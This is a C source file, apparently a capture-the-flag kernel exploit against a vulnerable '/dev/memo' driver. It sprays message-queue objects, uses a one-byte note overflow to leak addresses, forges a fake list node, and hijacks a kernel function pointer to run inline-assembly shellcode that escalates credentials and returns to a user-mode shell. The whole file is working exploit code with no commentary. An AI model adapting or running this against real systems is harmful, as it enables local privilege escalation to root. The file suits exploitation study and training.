1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <assert.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include "help.h"
#define mkstr(name) #name
#define stop(msg) { write(1, msg, strlen(msg)); getchar(); } #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0)
#define DEVICE_NAME "memo" #define NOTE_SIZE sizeof(note_t) #define CMD_NEW 0x11451401 #define CMD_EDIT 0x11451402 #define CMD_DEL 0x11451403
typedef struct { int id; char data[20]; } note_t;
typedef struct notelist_t { note_t note; struct notelist_t *fd; struct notelist_t *bk; } notelist_t;
typedef struct { char data[20]; int id; int size; } request_t;
struct msgbuf { long mtype; char mtext[0x1000-0x30 + 0x40-0x8]; };
int fd; int qid; uint64_t m_base; uint64_t k_base; uint64_t modprobe_path; uint64_t user_cs, user_ss, user_sp, user_rflags, PC;
static int add() { request_t req; return ioctl(fd, CMD_NEW, &req); } static int del(unsigned long id) { request_t req; req.id = id; return ioctl(fd, CMD_DEL, &req); } static int edit(int id, char *ptr, int len) { request_t req; memcpy(req.data, ptr, len); req.id = id; req.size = len; return ioctl(fd, CMD_EDIT, &req); }
void shellcode() {
asm ( "mov rdi, %1 \n" "add rdi, 0x2148 \n" "mov rdi, qword ptr [rdi] \n" "sub rdi, 0xea9e80 \n" "mov %0, rdi \n" "mov rax, %2 \n" "add rax, 0x709f0 \n" "xor rdi, rdi \n" "call rax \n" "mov rdi, rax \n" "mov rax, %2 \n" "add rax, 0x70860 \n" "call rax \n"
:"=m"(k_base) :"m"(m_base), "m"(k_base) :"rdi", "rax" ); asm ( "push %4 \n" "push %3 \n" "push %2 \n" "push %1 \n" "push %0 \n" "swapgs \n" "iretq \n" "ret" : :"r"(shell), "m"(user_cs), "m"(user_rflags), "m"(user_sp), "m"(user_ss) :"memory" ); }
static void save_status() { __asm__ __volatile__ ( "mov %0, cs;" "mov %1, ss;" "mov %2, rsp;" "pushfq;" "popq %3;" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"); puts("[*] status has been saved."); }
int main(int argc, char *argv[]) { save_status(); qid = new_msg(); fd = open("/dev/memo", 2); assert(fd > 0); int id[0x20];
for(int i=0; i<0x12; i++) { id[i] = add(); }
int sz = 0x1000-0x30 + 0x40-0x8; char *buf = malloc(sz); memset(buf, '\x41', 0x1000-0x30); memset(buf+0x1000-0x30, '\x42', 0x40-0x8); stop("begin to spray"); send_msg(qid, buf, sz); send_msg(qid, buf, sz); stop("begin to alloc note "); int id1, id2; id2 = add(); while(1) { id1 = add(); if((id1&0xff) == 0x08) break; del(id1); }~ printf("%s => 0x%x \n", mkstr(id1), id1); printf("%s => 0x%x \n", mkstr(id2), id2);
stop("overflow and delete"); char tmp[0x14]; memset(tmp, 'C', 0x14); edit(id1, tmp, 0x14+1); del(id1);
stop("leak via spray"); receive_msg(qid, buf, sz); receive_msg(qid, buf, sz); m_base = *(uint64_t*)(&buf[0xff0]) - 0x2100; printf("[*] m_base => 0x%llx \n", m_base);
notelist_t *fake = (notelist_t*)(buf+0xfd0); fake->note.id = 0xcafebabe; fake->fd = (void*)(m_base+0x2000+128-4); fake->bk = (void*)(m_base+0x2000); stop("forge a fake note"); send_msg(qid, buf, sz);
memset(tmp, '\x00', 20); *(uint64_t*)(&tmp) = (uint64_t)shellcode; edit(0, tmp, 20);
printf("[*] shellcode => %p \n", shellcode); stop("trigger"); close(fd); }
|